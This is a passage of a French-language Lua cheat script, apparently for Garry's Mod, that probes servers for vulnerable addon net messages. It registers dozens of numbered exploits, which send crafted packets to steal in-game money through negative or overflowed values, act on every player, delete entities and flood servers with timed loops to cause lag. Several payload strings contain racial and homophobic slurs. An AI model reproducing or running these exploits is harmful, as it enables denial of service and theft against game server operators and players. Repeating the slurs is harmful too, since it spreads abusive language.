11617surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11618 --("Démarré")
11619for k,v in pairs(player.GetAll()) do
11620if v != LocalPlayer() then
11621net.Start("nox_addpremadepunishment")
11622net.WriteEntity("Sun")
11623net.WriteUInt(2, 8)
11624net.SendToServer()
11625end
11626end
11627end )
11628end
11629
11630status = ValidNetString("NET_CR_TakeStoredMoney")
11631if (status) then
11632CHATPRINT("Exploit Trouvé : Voler L'argent Du Registre
11633[NET_CR_TakeStoredMoney]")
11634addExploit( "219","Voler L'argent Du Registre", "", function()
11635surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11636 --("Démarré")
11637for k,v in pairs(ents.GetAll()) do
11638if v:GetClass() == "ss_cash_registry" then
11639net.Start('NET_CR_TakeStoredMoney')
11640net.WriteEntity("ss_cash_registry")
11641net.WriteEntity(LocalPlayer())
11642net.SendToServer()
11643end
11644end
11645end )
11646end
11647
11648status = ValidNetString("HV_AmmoBuy")
11649if (status) then
11650CHATPRINT("Exploit Trouvé : HV Munitions Gratuites [HV_AmmoBuy]")
11651addExploit( "220","HV Munitions Gratuites", "", function()
11652surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11653 --("Démarré")
11654net.Start("HV_AmmoBuy")
11655net.WriteFloat("2")
11656net.SendToServer()
11657net.Start("HV_AmmoBuy")
11658net.WriteFloat("1")
11659net.SendToServer()
11660end )
11661end
11662
11663status = ValidNetString("hitcomplete")
11664if (status) then
11665CHATPRINT("Exploit Trouvé : Argent Gratuite [hitcomplete]")
11666addExploit( "221","Argent Gratuite", "", function()
11667surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11668 --("Démarré")
11669for k,v in pairs(player.GetAll()) do
11670if v != LocalPlayer() then
11671net.Start("hitcomplete")
11672net.WriteEntity(v)
11673net.SendToServer()
11674end
11675end
11676end )
11677end
11678
11679status = ValidNetString("SyncRemoveAction")
11680if (status) then
11681CHATPRINT("Exploit Trouvé : Supprimer Tout [SyncRemoveAction]")
11682addExploit( "222","Supprimer Tout", "", function()
11683surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11684 --("Démarré")
11685for k,v in pairs(ents.GetAll()) do
11686net.Start("SyncRemoveAction")
11687net.WriteEntity(v)
11688net.SendToServer()
11689end
11690end )
11691end
11692
11693status = ValidNetString("TMC_NET_MakePlayerWanted")
11694if (status) then
11695CHATPRINT("Exploit Trouvé : Mettre Un Avis De Recherche Global
11696[TMC_NET_MakePlayerWanted]")
11697addExploit( "223","Mettre Un Avis De Recherche Global", "", function()
11698surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11699 --("Démarré")
11700for k,v in pairs(player.GetAll()) do
11701net.Start("TMC_NET_MakePlayerWanted")
11702net.WriteString("bad")
11703net.WriteString("bad")
11704net.SendToServer()
11705end
11706end )
11707end
11708
11709status = ValidNetString("thiefnpc")
11710if (status) then
11711CHATPRINT("Exploit Trouvé : NPC De Voleur [thiefnpc]")
11712addExploit( "224","NPC De Voleur", "", function()
11713surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11714 --("Démarré")
11715net.Start('thiefnpc')
11716net.WriteDouble(-99999999999999999)
11717net.SendToServer()
11718end )
11719end
11720
11721status = ValidNetString("TMC_NET_FirePlayer")
11722if (status) then
11723CHATPRINT("Exploit Trouvé : Brûler Des Joueurs [TMC_NET_FirePlayer]")
11724addExploit( "225","Brûler Des Joueurs", "", function()
11725surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11726 --("Démarré")
11727net.Start("TMC_NET_FirePlayer")
11728net.WriteString("Paypal")
11729net.SendToServer()
11730end )
11731end
11732
11733status = ValidNetString("updateLaws")
11734if (status) then
11735CHATPRINT("Exploit Trouvé : Mettre A Jours Les Lois [updateLaws]")
11736addExploit( "226","Mettre A Jours Les Lois", "", function()
11737surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11738 --("Démarré")
11739net.Start("updateLaws")
11740net.WriteString("Bitch")
11741net.SendToServer()
11742end )
11743end
11744
11745status = ValidNetString("LotteryMenu")
11746if (status) then
11747CHATPRINT("Exploit Trouvé : Argent Gratuite #25 [LotteryMenu]")
11748addExploit( "227","Argent Gratuite #25", "", function()
11749surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11750 --("Démarré")
11751net.Start("LotteryMenu")
11752net.WriteEntity(LocalPlayer())
11753net.WriteInt(1000000000000000000, 16)
11754net.SendToServer()
11755end )
11756end
11757
11758status = ValidNetString("soundArrestCommit")
11759if (status) then
11760CHATPRINT("Exploit Trouvé : Bruit D'Arrestation [soundArrestCommit]")
11761addExploit( "228","Bruit D'Arrestation", "", function()
11762surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11763 --("Démarré")
11764net.Start("soundArrestCommit")
11765net.WriteString("Shit")
11766net.SendToServer()
11767end )
11768end
11769
11770status = ValidNetString("hoverboardpurchase")
11771if (status) then
11772CHATPRINT("Exploit Trouvé : Hover Board [hoverboardpurchase]")
11773addExploit( "229","Hover Board", "", function()
11774surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11775 --("Démarré")
11776net.Start("hoverboardpurchase")
11777net.WriteInt(8, 32)
11778net.SendToServer()
11779end )
11780end
11781
11782status = ValidNetString("NPCShop_BuyItem")
11783if (status) then
11784CHATPRINT("Exploit Trouvé : NPC Magasin [NPCShop_BuyItem]")
11785addExploit( "231","NPC Shop", "", function()
11786surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11787 --("Démarré")
11788net.Start("NPCShop_BuyItem")
11789net.WriteString("weapon_hack_phone")
11790net.SendToServer()
11791end )
11792end
11793
11794status = ValidNetString("CubeRiot CaptureZone Update")
11795if (status) then
11796CHATPRINT("Exploit Trouvé : CubeRiot Exploit [CubeRiot CaptureZone
11797Update]")
11798addExploit( "232","CubeRiot Exploit", "", function()
11799surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11800 --("Démarré")
11801net.Start("CubeRiot CaptureZone Update")
11802net.WriteUInt( 1, 8 )
11803net.WriteVector( "2654.989258 2254.119629 -139.968750" )
11804net.WriteVector( "2654.989258 2254.119629 -139.968750" )
11805net.SendToServer()
11806end )
11807end
11808
11809status = ValidNetString("deposit")
11810if (status) then
11811CHATPRINT("Exploit Trouvé : Argent Gratuite #26 [deposit]")
11812addExploit( "233","Argent Gratuite #26", "", function()
11813surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11814 --("Démarré")
11815net.Start("deposit")
11816net.WriteString("-10000000000000000000000")
11817net.SendToServer()
11818end )
11819end
11820
11821status = ValidNetString("AcceptRequest")
11822if (status) then
11823CHATPRINT("Exploit Trouvé : Exploit D'Appel [AcceptRequest]")
11824addExploit( "234","Exploit D'Appel", "", function()
11825surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11826 --("Démarré")
11827for k,v in pairs(player.GetAll()) do
11828net.Start("AcceptRequest")
11829net.WriteEntity(v)
11830net.SendToServer()
11831end
11832end )
11833end
11834
11835status = ValidNetString("Chess ClientWager")
11836if (status) then
11837CHATPRINT("Exploit Trouvé : Exploit Des Dames [Chess ClientWager |
11838Chess ClientResign]")
11839addExploit( "235","Exploit Des Dames", "", function()
11840surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11841 --("Démarré")
11842net.Start("Chess ClientWager")
11843net.WriteUInt( -999999999999999999999999999, 24 )
11844net.SendToServer()
11845net.Start("Chess ClientResign")
11846net.SendToServer()
11847end )
11848end
11849
11850status = ValidNetString("netOrgVoteInvite_Server")
11851if (status) then
11852CHATPRINT("Exploit Trouvé : Invitez Tout Le Monde Dans Son Gang
11853[netOrgVoteInvite_Server]")
11854addExploit( "236","Invitez Tout Le Monde Dans Son Gang", "", function()
11855surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11856 --("Démarré")
11857for k,v in pairs(player.GetAll()) do
11858net.Start("netOrgVoteInvite_Server")
11859net.WriteEntity(v)
11860net.SendToServer()
11861end
11862end )
11863end
11864
11865
11866status = ValidNetString("donatorshop_itemtobuy")
11867if (status) then
11868CHATPRINT("Exploit Trouvé : Exploit De La Boite Des Donateur
11869[donatorshop_itemtobuy]")
11870addExploit( "237","Exploit De La Boite Des Donateur", "", function()
11871surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11872 --("Démarré")
11873net.Start("donatorshop_itemtobuy")
11874net.WriteString("DonatorShopBuyTripwire")
11875net.SendToServer()
11876end )
11877end
11878
11879status = ValidNetString("AskPickupItemInv")
11880if (status) then
11881CHATPRINT("Exploit Trouvé : Demandez Items [AskPickupItemInv]")
11882addExploit( "238","Demandez Items", "", function()
11883surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11884 --("Démarré")
11885for k,v in pairs(player.GetAll()) do
11886net.Start("AskPickupItemInv")
11887net.WriteUInt(4,16)
11888net.WriteUInt(1,16)
11889net.SendToServer()
11890end
11891end )
11892end
11893
11894status = ValidNetString("buy_bundle")
11895if (status) then
11896CHATPRINT("Exploit Trouvé : Achetez Bundle [buy_bundle]")
11897addExploit( "239","Achetez Bundle", "", function()
11898surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11899 --("Démarré")
11900net.Start("buy_bundle")
11901net.WriteFloat(1, 16)
11902net.SendToServer()
11903end )
11904end
11905
11906status = ValidNetString("LawyerOfferBail")
11907if (status) then
11908CHATPRINT("Exploit Trouvé : Sortir De Prison [LawyerOfferBail |
11909AcceptBailOffer]")
11910addExploit( "240","Sortir De Prison", "", function()
11911surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11912 --("Démarré")
11913for k,v in pairs(player.GetAll()) do
11914net.Start("LawyerOfferBail")
11915net.WriteEntity(v)
11916net.WriteUInt(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,
11917 16)
11918net.SendToServer()
11919net.Start("AcceptBailOffer")
11920net.WriteEntity(v)
11921net.WriteUInt(-10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000,
11922 16)
11923net.SendToServer()
11924end
11925end )
11926end
11927
11928status = ValidNetString("MineServer")
11929if (status) then
11930CHATPRINT("Exploit Trouvé : Crée Des Lags #22 [MineServer]")
11931addExploit( "241","Crée Des Lags #22", "lags", function()
11932surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11933 --("Démarré")
11934for i = 0, 100 do
11935for k,v in pairs(player.GetAll()) do
11936net.Start("MineServer",true)
11937net.WriteString("sell")
11938net.WriteEntity(v)
11939net.WriteString("Fuck you. Gonna ddos this shitty ass server niggers")
11940net.SendToServer()
11941end
11942end
11943end )
11944end
11945
11946status = ValidNetString("Gb_gasstation_BuyGas")
11947if (status) then
11948CHATPRINT("Exploit Trouvé : Gaz Ukrainien [Gb_gasstation_BuyGas |
11949Gb_gasstation_BuyJerrycan]")
11950addExploit( "242","Gaz Ukrainien", "", function()
11951surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11952 --("Démarré")
11953net.Start("Gb_gasstation_BuyGas")
11954net.SendToServer()
11955net.Start("Gb_gasstation_BuyJerrycan")
11956net.SendToServer()
11957end )
11958end
11959
11960status = ValidNetString("D3A_CreateOrg")
11961if (status) then
11962CHATPRINT("Exploit Trouvé : D3A Crée une Organisation
11963[D3A_CreateOrg]")
11964addExploit( "243","D3A Crée une Organisation", "", function()
11965surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11966 --("Démarré")
11967net.Start("D3A_CreateOrg")
11968net.WriteString('969690485273489312467812367128312312314')
11969net.WriteString('123712983712984571298712398')
11970net.WriteString("255 255 255")
11971net.SendToServer()
11972end )
11973end
11974
11975status = ValidNetString("Shop_buy")
11976if (status) then
11977CHATPRINT("Exploit Trouvé : SUP Buy Armor [Shop_buy]")
11978addExploit( "244","SUP Buy Armor", "", function()
11979surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11980 --("Démarré")
11981net.Start("Shop_buy")
11982net.WriteString("Armor")
11983net.SendToServer()
11984end )
11985end
11986
11987status = ValidNetString("LawsToServer")
11988if (status) then
11989CHATPRINT("Exploit Trouvé : SUP Nouvelles Lois [LawsToServer]")
11990addExploit( "245","SUP Nouvelles Lois", "", function()
11991surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
11992 --("Démarré")
11993net.Start("LawsToServer")
11994net.WriteString("FAGGOTS")
11995net.SendToServer()
11996end )
11997end
11998
11999status = ValidNetString("D3A_Message")
12000if (status) then
12001CHATPRINT("Exploit Trouvé : D3A Message [D3A_Message]")
12002addExploit( "246","D3A Message", "", function()
12003surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12004 --("Démarré")
12005local stuff = {
12006
12007}
12008net.Start("D3A_Message")
12009net.WriteString("FAGGOTS")
12010net.WriteTable(stuff)
12011net.SendToServer()
12012end )
12013end
12014
12015status = ValidNetString("misswd_accept")
12016if (status) then
12017CHATPRINT("Exploit Trouvé : Misswd Accepter [misswd_accept]")
12018addExploit( "247","Misswd Accepter", "", function()
12019surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12020 --("Démarré")
12021for k,v in pairs(player.GetAll()) do
12022for i = 0, 100 do
12023net.Start("misswd_accept")
12024net.WriteEntity(v)
12025net.SendToServer()
12026end
12027end
12028end )
12029end
12030
12031status = ValidNetString("ScannerMenu")
12032if (status) then
12033CHATPRINT("Exploit Trouvé : Exploit De Scanneur [ScannerMenu]")
12034addExploit( "248","Exploit De Scanneur", "", function()
12035surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12036 --("Démarré")
12037for k,v in pairs(player.GetAll()) do
12038net.Start("ScannerMenu")
12039net.WriteEntity(v)
12040net.WriteFloat(1)
12041net.WriteFloat(1)
12042net.SendToServer()
12043end
12044end )
12045end
12046
12047status = ValidNetString("ORG_NewOrg")
12048if (status) then
12049CHATPRINT("Exploit Trouvé : Nouvelle Organisation [ORG_NewOrg]")
12050addExploit( "249","Nouvelle Organisation", "", function()
12051surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12052 --("Démarré")
12053net.Start("ORG_NewOrg")
12054net.WriteString("I FUCKING HATE YOU!")
12055net.SendToServer()
12056end )
12057end
12058
12059status = ValidNetString("ORG_VaultDonate")
12060if (status) then
12061CHATPRINT("Exploit Trouvé : Argent Gratuite #27 [ORG_VaultDonate]")
12062addExploit( "250","Argent Gratuite #27", "", function()
12063surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12064 --("Démarré")
12065net.Start("ORG_VaultDonate")
12066net.WriteFloat(-1000000000000000000000000000000000000000000000000000000)
12067net.SendToServer()
12068end )
12069end
12070
12071status = ValidNetString("Selldatride")
12072if (status) then
12073CHATPRINT("Exploit Trouvé : Vendre Datride [Selldatride]")
12074addExploit( "251","Vendre Datride", "", function()
12075surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12076 --("Démarré")
12077for k,v in pairs(player.GetAll()) do
12078net.Start("Selldatride")
12079net.WriteEntity(v)
12080net.SendToServer()
12081end
12082end )
12083end
12084
12085status = ValidNetString("passmayorexam")
12086if (status) then
12087CHATPRINT("Exploit Trouvé : Passez Les Examens [passmayorexam]")
12088addExploit( "252","Passez Les Examens", "", function()
12089surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12090 --("Démarré")
12091net.Start("passmayorexam")
12092net.SendToServer()
12093end )
12094end
12095
12096status = ValidNetString("levelup_useperk")
12097if (status) then
12098CHATPRINT("Exploit Trouvé : Augmentez De Niveau [levelup_useperk]")
12099addExploit( "253","Augmentez De Niveau", "", function()
12100surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12101 --("Démarré")
12102net.Start("levelup_useperk")
12103net.WriteInt(1, 8)
12104net.WriteInt(2, 8)
12105net.WriteInt(3, 8)
12106net.WriteInt(4, 8)
12107net.SendToServer()
12108end )
12109end
12110
12111status = ValidNetString("DeployMask")
12112if (status) then
12113CHATPRINT("Exploit Trouvé : Mettre Un Masque A Gaz A Tout Les Joueurs
12114[DeployMask]")
12115addExploit( "255","Mettre Un Masque A Gaz A Tout Les Joueurs", "",
12116function()
12117surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12118 --("Démarré")
12119for k,v in pairs(ents.GetAll()) do
12120net.Start("DeployMask")
12121net.WriteEntity(v)
12122net.SendToServer()
12123end
12124end )
12125end
12126
12127status = ValidNetString("RemoveMask")
12128if (status) then
12129CHATPRINT("Exploit Trouvé : Supprimer Les Masques A Gaz Des Joueurs
12130[RemoveMask]")
12131addExploit( "256","Supprimer Les Masques A Gaz Des Joueurs", "",
12132function()
12133surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12134 --("Démarré")
12135for k,v in pairs(ents.GetAll()) do
12136net.Start("RemoveMask")
12137net.WriteEntity(v)
12138net.SendToServer()
12139end
12140end )
12141end
12142
12143status = ValidNetString("SwapFilter")
12144if (status) then
12145CHATPRINT("Exploit Trouvé : Changer Tout Les Filtres Des Masques A Gaz
12146[SwapFilter]")
12147addExploit( "257","Changer Tout Les Filtres Des Masques A Gaz", "Changer
12148 Les Filtres Des Masques A Gaz", function()
12149surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12150 --("Démarré")
12151for k,v in pairs(ents.GetAll()) do
12152net.Start("SwapFilter")
12153net.WriteEntity(v)
12154net.SendToServer()
12155end
12156end )
12157end
12158
12159status = ValidNetString("WipeMask")
12160if (status) then
12161CHATPRINT("Exploit Trouvé : Essuyez Les Masques A Gaz [WipeMask]")
12162addExploit( "258","Essuyez Les Masques A Gaz", "Exploit Pour Essuyez
12163Tout Les Masques A Gaz", function()
12164surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12165 --("Démarré")
12166for k,v in pairs(ents.GetAll()) do
12167net.Start("WipeMask")
12168net.WriteEntity(v)
12169net.SendToServer()
12170end
12171end )
12172end
12173
12174status = ValidNetString("UseMedkit")
12175if (status) then
12176CHATPRINT("Exploit Trouvé : Utiliser Le Kit Médical [UseMedkit]")
12177addExploit( "259","Utiliser Le Kit Médical", "Exploit Pour Utiliser Le
12178Kit Médical Sur Tout Le Monde", function()
12179surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12180 --("Démarré")
12181for k,v in pairs(ents.GetAll()) do
12182net.Start("UseMedkit")
12183net.WriteEntity(v)
12184net.SendToServer()
12185end
12186end )
12187end
12188
12189status = ValidNetString("IDInv_RequestBank")
12190if (status) then
12191CHATPRINT("Exploit Trouvé : Crée Des Lags #23 [IDInv_RequestBank]")
12192addExploit( "260","Crée Des Lags #23", "Exploit Provenant De L'addon
12193'IDinventory'", function()
12194surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12195 --("Démarré")
12196if !timer.Exists("lagger23") then
12197timer.Create("lagger23", 0, 0, function()
12198for i = 1, 1000 do
12199net.Start("IDInv_RequestBank",true)
12200net.SendToServer()
12201end
12202end )
12203end
12204end )
12205end
12206
12207status = ValidNetString("casinokit_chipexchange")
12208if (status) then
12209CHATPRINT("Exploit Trouvé : Crée Des Lags #24
12210[casinokit_chipexchange]")
12211addExploit( "261","Crée Des Lags #24", "Exploit Provenant De L'addon
12212'CasinoKit'", function()
12213surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12214 --("Démarré")
12215if !timer.Exists("lagger24") then
12216timer.Create("lagger24", 0, 0, function()
12217for i = 1, 1000 do
12218net.Start("casinokit_chipexchange",true)
12219net.WriteEntity(LocalPlayer())
12220net.WriteString("darkrp")
12221net.WriteBool(false)
12222net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,32)
12223net.SendToServer()
12224end
12225end
12226 )
12227end
12228end )
12229end
12230
12231status = ValidNetString("RemoveTag")
12232if (status) then
12233CHATPRINT("Exploit Trouvé : 1tap Le Serveur [RemoveTag]")
12234addExploit( "262","1tap Le Serveur", "Coup dûr pour le serveur ducoup",
12235 function()
12236surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12237 --("Démarré")
12238timer.Create("1tap", 0.5, 0, function()
12239for i=1, 4000 do
12240net.Start("RemoveTag")
12241net.WriteFloat(9999999999999999999999999999999999999999999999999999999999)
12242net.SendToServer()
12243end
12244end
12245 )
12246end )
12247end
12248
12249status = ValidNetString("desktopPrinter_Withdraw")
12250if (status) then
12251CHATPRINT("Exploit Trouvé : Crée Des Lags #25
12252[desktopPrinter_Withdraw]")
12253addExploit( "263","Crée Des Lags #25", "Exploit Provenant De L'addon
12254'Desktop Printers'", function()
12255surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12256 --("Démarré")
12257if !timer.Exists("lagger25") then
12258timer.Create("lagger25", 0, 0, function()
12259for i = 1, 1000 do
12260net.Start("desktopPrinter_Withdraw",true)
12261net.WriteEntity(LocalPlayer())
12262net.SendToServer()
12263end
12264end )
12265end
12266end )
12267end
12268
12269status = ValidNetString("sphys_dupe")
12270if (status) then
12271CHATPRINT("Exploit Trouvé : Crée Des Lags #26 [sphys_dupe]")
12272addExploit( "264","Crée Des Lags #26", "Exploit Provenant De L'addon
12273'Simfphys'", function()
12274surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12275 --("Démarré")
12276timer.Create("lagger26", 0.2, 0, function()
12277for i=1,2200 do
12278net.Start("sphys_dupe",true)
12279net.SendToServer()
12280end
12281end )
12282end )
12283end
12284
12285status = ValidNetString("simfphys_gasspill")
12286if (status) then
12287CHATPRINT("Exploit Trouvé : Chiez Sur Les Joueurs [simfphys_gasspill]")
12288addExploit( "265","Chiez Sur Les Joueurs", "Exploit Provenant De L'addon
12289 'Simfphys'", function()
12290surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12291 --("Démarré")
12292timer.Create("poop", 0.1, 0, function()
12293for k,v in pairs(player.GetAll()) do
12294for j=1,3 do
12295if IsValid(v) then
12296net.Start("simfphys_gasspill")
12297net.WriteVector(v:GetPos()+Vector(0,0,90))
12298net.WriteVector(v:EyePos())
12299net.SendToServer()
12300end
12301end
12302end
12303end )
12304end )
12305end
12306
12307status = ValidNetString("dronesrewrite_controldr")
12308if (status) then
12309CHATPRINT("Exploit Trouvé : Crée Des Lags #27
12310[dronesrewrite_controldr]")
12311addExploit( "266","Crée Des Lags #27", "", function()
12312surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12313 --("Démarré")
12314timer.Create("lagger27", 0.2, 0, function()
12315for i=1,2200 do
12316net.Start("dronesrewrite_controldr",true)
12317net.SendToServer()
12318end
12319end )
12320end )
12321end
12322
12323
12324status = ValidNetString("SCP-294Sv")
12325if (status) then
12326CHATPRINT("Exploit Trouvé : Exploit De SCP-294 [SCP-294Sv]")
12327addExploit( "267","Exploit De SCP-294 Exploit", "", function()
12328surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12329 --("Démarré")
12330for k,v in pairs(ents.GetAll()) do
12331net.Start("SCP-294Sv")
12332net.WriteString("acid")
12333net.WriteEntity(v)
12334net.SendToServer()
12335end
12336end )
12337end
12338
12339status = ValidNetString("phone")
12340if (status) then
12341CHATPRINT("Exploit Trouvé : Appelez Tous Les Joueurs [phone]")
12342addExploit( "269","Appelez Tous Les Joueurs", "", function()
12343surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12344 --("Démarré")
12345for k, v in pairs(player.GetAll()) do
12346net.Start("phone")
12347net.WriteTable{
12348ply=v,
12349act='call'
12350}
12351net.SendToServer()
12352end
12353end )
12354end
12355
12356status = ValidNetString("blueatm")
12357if (status) then
12358CHATPRINT("Exploit Trouvé : Crée Des Lags #29 [blueatm]")
12359addExploit( "270","Crée Des Lags #29", "Exploit Provenant De L'addon
12360'Blue ATM', ", function()
12361surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12362 --("Démarré")
12363timer.Create("lagger29", 0, 0, function()
12364for i = 1, 1000 do
12365net.Start("blueatm",true)
12366net.WriteEntity(LocalPlayer())
12367net.SendToServer()
12368end
12369end )
12370end )
12371end
12372
12373status = ValidNetString("cab_cd_testdrive")
12374if (status) then
12375CHATPRINT("Exploit Trouvé : Stavox Teleportation [cab_cd_testdrive]")
12376addExploit( "271","Stavox Teleportation", "", function()
12377surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12378 --("Démarré")
12379net.Start('cab_cd_testdrive')
12380net.WriteUInt(0, 3)
12381net.WriteUInt(5, 8)
12382net.SendToServer()
12383end )
12384end
12385
12386status = ValidNetString("cab_sendmessage")
12387if (status) then
12388CHATPRINT("Exploit Trouvé : Stavox Message [cab_sendmessage]")
12389addExploit( "272","Stavox Message", "", function()
12390surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12391 --("Démarré")
12392for k, v in pairs(player.GetAll()) do
12393net.Start("cab_sendmessage")
12394net.WriteEntity(v)
12395net.WriteString("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
12396net.SendToServer()
12397end
12398end
12399 )
12400end
12401
12402status = ValidNetString("disguise")
12403if (status) then
12404CHATPRINT("Exploit Trouvé : Crée Des Lags #30 [disguise]")
12405addExploit( "273","Crée Des Lags #30", "", function()
12406surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12407 timer.Create("lagger30", 0, 0, function()
12408for i = 1, 1000 do
12409net.Start("disguise",true)
12410net.WriteInt(9999999999999999999999999999999999999999999999999999999999,
12411 32)
12412net.SendToServer()
12413end
12414end )
12415end )
12416end
12417
12418status = ValidNetString("FARMINGMOD_DROPITEM")
12419if (status) then
12420CHATPRINT("Exploit Trouvé : Crée Des Lags #31 [FARMINGMOD_DROPITEM]")
12421addExploit( "274","Crée Des Lags #31", "", function()
12422surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12423 timer.Create("lagger31", 0, 0, function()
12424for i = 1, 1000 do
12425net.Start("FARMINGMOD_DROPITEM",true)
12426net.WriteInt(9999999999999999999999999999999999999999999999999999999999,
12427 16)
12428net.SendToServer()
12429end
12430end )
12431end )
12432end
12433
12434status = ValidNetString("SlotsRemoved")
12435if (status) then
12436CHATPRINT("Exploit Trouvé : Crée Des Lags #32 [SlotsRemoved]")
12437addExploit( "275","Crée Des Lags #32", "Exploit Provenant De L'addon
12438'PointShop 2 Perma Weapons', ", function()
12439surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12440 timer.Create("lagger32", 0, 0, function()
12441for i = 1, 1000 do
12442net.Start("SlotsRemoved",true)
12443net.SendToServer()
12444end
12445end )
12446end )
12447end
12448
12449status = ValidNetString("AirDrops_StartPlacement")
12450if (status) then
12451CHATPRINT("Exploit Trouvé : Crée Des Lags #33
12452[AirDrops_StartPlacement]")
12453addExploit( "276","Crée Des Lags #33", "Exploit Provenant De L'addon
12454'PointShop 2 AirDrops'", function()
12455surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12456 timer.Create("lagger33", 0, 0, function()
12457for i = 1, 1000 do
12458net.Start("AirDrops_StartPlacement",true)
12459net.SendToServer()
12460end
12461end )
12462end )
12463end
12464
12465status = ValidNetString("IGS.GetPaymentURL")
12466if (status) then
12467CHATPRINT("Exploit Trouvé : Crée Des Lags #35 [IGS.GetPaymentURL]")
12468addExploit( "278","Crée Des Lags #35", "Exploit Dans IGS", function()
12469surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12470 timer.Create("lagger35", 0, 0, function()
12471for i = 1, 1000 do
12472net.Start("IGS.GetPaymentURL",true)
12473net.WriteDouble(9999999999999999999999999999999999999999999999999999999999)
12474net.SendToServer()
12475end
12476end
12477 )
12478end )
12479end
12480
12481status = ValidNetString("fg_printer_money")
12482if (status) then
12483CHATPRINT("Exploit Trouvé : Crée Des Lags #36 [fg_printer_money]")
